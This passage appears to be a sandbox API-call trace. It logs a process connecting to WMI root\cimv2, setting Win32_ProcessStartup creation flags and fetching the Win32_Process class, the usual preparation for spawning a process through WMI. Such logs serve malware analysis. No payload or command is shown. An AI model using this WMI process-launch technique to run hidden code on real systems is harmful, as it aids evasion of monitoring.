riid=0x1bb7e260*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e230 | out: ppvObject=0x1bb7e230*=0x1bbc0720) returned 0x0 [0146.835] WbemDefPath:IUnknown:AddRef (This=0x1bbc0720) returned 0x3 [0146.835] WbemDefPath:IUnknown:Release (This=0x1bbc0720) returned 0x2 [0146.835] WbemDefPath:IWbemPath:SetText (This=0x1bbc0720, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0146.836] IWbemClassObject:Get (in: This=0x1bc77a90, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27cf068*=0, plFlavor=0x27cf06c*=0 | out: pVal=0x1bb7e610*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27cf068*=19, plFlavor=0x27cf06c*=0) returned 0x0 [0146.836] IWbemClassObject:Get (in: This=0x1bc77a90, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27cf068*=19, plFlavor=0x27cf06c*=0 | out: pVal=0x1bb7e600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27cf068*=19, plFlavor=0x27cf06c*=0) returned 0x0 [0146.836] IWbemClassObject:Put (This=0x1bc77a90, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e650*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0146.836] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc0a20, puCount=0x1bb7e5e0 | out: puCount=0x1bb7e5e0*=0x0) returned 0x0 [0146.836] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0146.836] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0146.836] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0146.836] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4f8 | out: ppv=0x1bb7e4f8*=0x1a943398) returned 0x0 [0146.836] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e4e8 | out: pAptType=0x1bb7e4e8*=1) returned 0x0 [0146.836] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4f0 | out: ppvObject=0x1bb7e4f0*=0x0) returned 0x80004002 [0146.836] IUnknown:Release (This=0x1a943398) returned 0x1 [0146.838] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d910 | out: ppv=0x1bb7d910*=0x1bcc4800) returned 0x0 [0146.839] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc4800, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d958 | out: ppvObject=0x1bb7d958*=0x0) returned 0x80004002 [0146.839] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc4800, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x1bbc0660) returned 0x0 [0146.839] WbemDefPath:IUnknown:Release (This=0x1bcc4800) returned 0x0 [0146.839] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0660, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d718 | out: ppvObject=0x1bb7d718*=0x1bbc0660) returned 0x0 [0146.839] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0660, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d7c0 | out: ppvObject=0x1bb7d7c0*=0x0) returned 0x80004002 [0146.839] WbemDefPath:IUnknown:AddRef (This=0x1bbc0660) returned 0x3 [0146.839] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0660, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce68 | out: ppvObject=0x1bb7ce68*=0x0) returned 0x80004002 [0146.839] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0660, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cdf0 | out: ppvObject=0x1bb7cdf0*=0x0) returned 0x80004002 [0146.839] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0660, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cde0 | out: ppvObject=0x1bb7cde0*=0x1bcc49e0) returned 0x0 [0146.839] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc49e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce08 | out: pCid=0x1bb7ce08*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0146.839] WbemDefPath:IUnknown:Release (This=0x1bcc49e0) returned 0x3 [0146.839] CoGetContextToken (in: pToken=0x1bb7ce90 | out: pToken=0x1bb7ce90) returned 0x0 [0146.839] CoGetContextToken (in: pToken=0x1bb7d310 | out: pToken=0x1bb7d310) returned 0x0 [0146.839] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0660, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d3d0 | out: ppvObject=0x1bb7d3d0*=0x0) returned 0x80004002 [0146.840] WbemDefPath:IUnknown:Release (This=0x1bbc0660) returned 0x2 [0146.840] WbemDefPath:IUnknown:Release (This=0x1bbc0660) returned 0x1 [0146.840] CoGetContextToken (in: pToken=0x1bb7e130 | out: pToken=0x1bb7e130) returned 0x0 [0146.840] CoGetContextToken (in: pToken=0x1bb7e030 | out: pToken=0x1bb7e030) returned 0x0 [0146.840] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0660, riid=0x1bb7e190*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e160 | out: ppvObject=0x1bb7e160*=0x1bbc0660) returned 0x0 [0146.840] WbemDefPath:IUnknown:AddRef (This=0x1bbc0660) returned 0x3 [0146.840] WbemDefPath:IUnknown:Release (This=0x1bbc0660) returned 0x2 [0146.840] WbemDefPath:IWbemPath:SetText (This=0x1bbc0660, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0146.840] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc0660, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0146.840] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0660, lFlags=4, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0146.840] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0660, lFlags=4, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0146.840] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0146.840] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0146.840] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0146.840] IUnknown:Release (This=0x1a943398) returned 0x1 [0146.841] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7db30 | out: ppv=0x1bb7db30*=0x1bcc4920) returned 0x0 [0146.841] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc4920, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db78 | out: ppvObject=0x1bb7db78*=0x0) returned 0x80004002 [0146.842] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bcc4920, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x1bcc4940) returned 0x0 [0146.842] WbemLocator:IUnknown:Release (This=0x1bcc4920) returned 0x0 [0146.842] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc4940, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d938 | out: ppvObject=0x1bb7d938*=0x1bcc4940) returned 0x0 [0146.842] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc4940, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d9e0 | out: ppvObject=0x1bb7d9e0*=0x0) returned 0x80004002 [0146.842] WbemLocator:IUnknown:AddRef (This=0x1bcc4940) returned 0x3 [0146.842] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc4940, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d088 | out: ppvObject=0x1bb7d088*=0x0) returned 0x80004002 [0146.842] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc4940, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d010 | out: ppvObject=0x1bb7d010*=0x0) returned 0x80004002 [0146.842] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc4940, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d000 | out: ppvObject=0x1bb7d000*=0x0) returned 0x80004002 [0146.842] CoGetContextToken (in: pToken=0x1bb7d0b0 | out: pToken=0x1bb7d0b0) returned 0x0 [0146.842] CoGetContextToken (in: pToken=0x1bb7d530 | out: pToken=0x1bb7d530) returned 0x0 [0146.842] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc4940, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5f0 | out: ppvObject=0x1bb7d5f0*=0x0) returned 0x80004002 [0146.842] WbemLocator:IUnknown:Release (This=0x1bcc4940) returned 0x2 [0146.842] WbemLocator:IUnknown:Release (This=0x1bcc4940) returned 0x1 [0146.842] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0146.842] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0146.843] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc4940, riid=0x1bb7e140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bcc4940) returned 0x0 [0146.843] WbemLocator:IUnknown:AddRef (This=0x1bcc4940) returned 0x3 [0146.843] WbemLocator:IUnknown:Release (This=0x1bcc4940) returned 0x2 [0146.843] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc0660, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0146.843] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0660, lFlags=8, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0146.843] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0660, lFlags=8, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0146.843] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e180 | out: ppv=0x1bb7e180*=0x1bcc4840) returned 0x0 [0146.843] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bcc4840, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e3a8 | out: ppNamespace=0x1bb7e3a8*=0x1bc97000) returned 0x0 [0147.045] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc97000, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dff8 | out: ppvObject=0x1bb7dff8*=0x1aa036a0) returned 0x0 [0147.045] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1aa036a0, pProxy=0x1bc97000, pAuthnSvc=0x1bb7e0c0, pAuthzSvc=0x1bb7e040, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044, pImpLevel=0x1bb7e04c, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048 | out: pAuthnSvc=0x1bb7e0c0*=0xa, pAuthzSvc=0x1bb7e040*=0x0, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044*=0x6, pImpLevel=0x1bb7e04c*=0x2, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048*=0x1) returned 0x0 [0147.045] WbemLocator:IUnknown:Release (This=0x1aa036a0) returned 0x1 [0147.045] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc97000, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df90 | out: ppvObject=0x1bb7df90*=0x1aa036e0) returned 0x0 [0147.045] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc97000, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dfa0 | out: ppvObject=0x1bb7dfa0*=0x1aa036a0) returned 0x0 [0147.045] WbemLocator:IClientSecurity:SetBlanket (This=0x1aa036a0, pProxy=0x1bc97000, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0147.045] WbemLocator:IUnknown:Release (This=0x1aa036a0) returned 0x2 [0147.045] WbemLocator:IUnknown:Release (This=0x1aa036e0) returned 0x1 [0147.045] CoTaskMemFree (pv=0x1bc1ba10) [0147.046] WbemLocator:IUnknown:AddRef (This=0x1bc97000) returned 0x2 [0147.046] WbemLocator:IUnknown:Release (This=0x1bcc4840) returned 0x0 [0147.046] CoGetContextToken (in: pToken=0x1bb7d200 | out: pToken=0x1bb7d200) returned 0x0 [0147.046] CoGetContextToken (in: pToken=0x1bb7d680 | out: pToken=0x1bb7d680) returned 0x0 [0147.046] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc97000, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d600 | out: ppvObject=0x1bb7d600*=0x1aa036b0) returned 0x0 [0147.046] WbemLocator:IRpcOptions:Query (in: This=0x1aa036b0, pPrx=0x1bcc4680, dwProperty=2, pdwValue=0x1bb7d730 | out: pdwValue=0x1bb7d730) returned 0x80004002 [0147.047] WbemLocator:IUnknown:Release (This=0x1aa036b0) returned 0x2 [0147.047] CoGetContextToken (in: pToken=0x1bb7dd50 | out: pToken=0x1bb7dd50) returned 0x0 [0147.047] CoGetContextToken (in: pToken=0x1bb7dc50 | out: pToken=0x1bb7dc50) returned 0x0 [0147.047] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc97000, riid=0x1bb7ddb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dbd0 | out: ppvObject=0x1bb7dbd0*=0x1bc97000) returned 0x0 [0147.047] WbemLocator:IUnknown:Release (This=0x1bc97000) returned 0x2 [0147.047] SysStringLen (param_1=0x0) returned 0x0 [0147.047] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc0660, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0147.047] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0660, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0147.047] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0660, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0147.047] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0a20, lFlags=2, puBuffLength=0x1bb7e558*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e558*=0xe, pszText=0x0) returned 0x0 [0147.047] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0a20, lFlags=2, puBuffLength=0x1bb7e558*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e558*=0xe, pszText="Win32_Process") returned 0x0 [0147.048] IWbemServices:GetObject (in: This=0x1bc97000, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e3a0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e3a0*=0x1bc77e00, ppCallResult=0x0) returned 0x0 [0147.102] IWbemClassObject:Get (in: This=0x1bc77e00, wszName="__PATH", lFlags=0, pVal=0x1bb7e470*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e5d8*=0, plFlavor=0x1bb7e5d0*=0 | out: pVal=0x1bb7e470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1bb7e5d8*=8, plFlavor=0x1bb7e5d0*=64) returned 0x0 [0147.102] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0147.102] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0147.102] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4a8 | out: ppv=0x1bb7e4a8*=0x1a943398) returned 0x0 [0147.102] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e498 | out: pAptType=0x1bb7e498*=1) returned 0x0 [0147.102] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4a0 | out: ppvObject=0x1bb7e4a0*=0x0) returned 0x80004002 [0147.103] IUnknown:Release (This=0x1a943398) returned 0x1 [0147.104] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8c0 | out: ppv=0x1bb7d8c0*=0x1bcc4840) returned 0x0 [0147.105] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc4840, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x0) returned 0x80004002 [0147.105] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc4840, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8b8 | out: ppvObject=0x1bb7d8b8*=0x1bbc05a0) returned 0x0 [0147.105] WbemDefPath:IUnknown:Release (This=0x1bcc4840) returned 0x0 [0147.105] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc05a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6c8 | out: ppvObject=0x1bb7d6c8*=0x1bbc05a0) returned 0x0 [0147.105] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc05a0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d770 | out: ppvObject=0x1bb7d770*=0x0) returned 0x80004002 [0147.105] WbemDefPath:IUnknown:AddRef (This=0x1bbc05a0) returned 0x3 [0147.105] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc05a0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce18 | out: ppvObject=0x1bb7ce18*=0x0) returned 0x80004002 [0147.106] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc05a0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cda0 | out: ppvObject=0x1bb7cda0*=0x0) returned 0x80004002 [0147.106] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc05a0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x1bcc44c0) returned 0x0 [0147.106] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc44c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cdb8 | out: 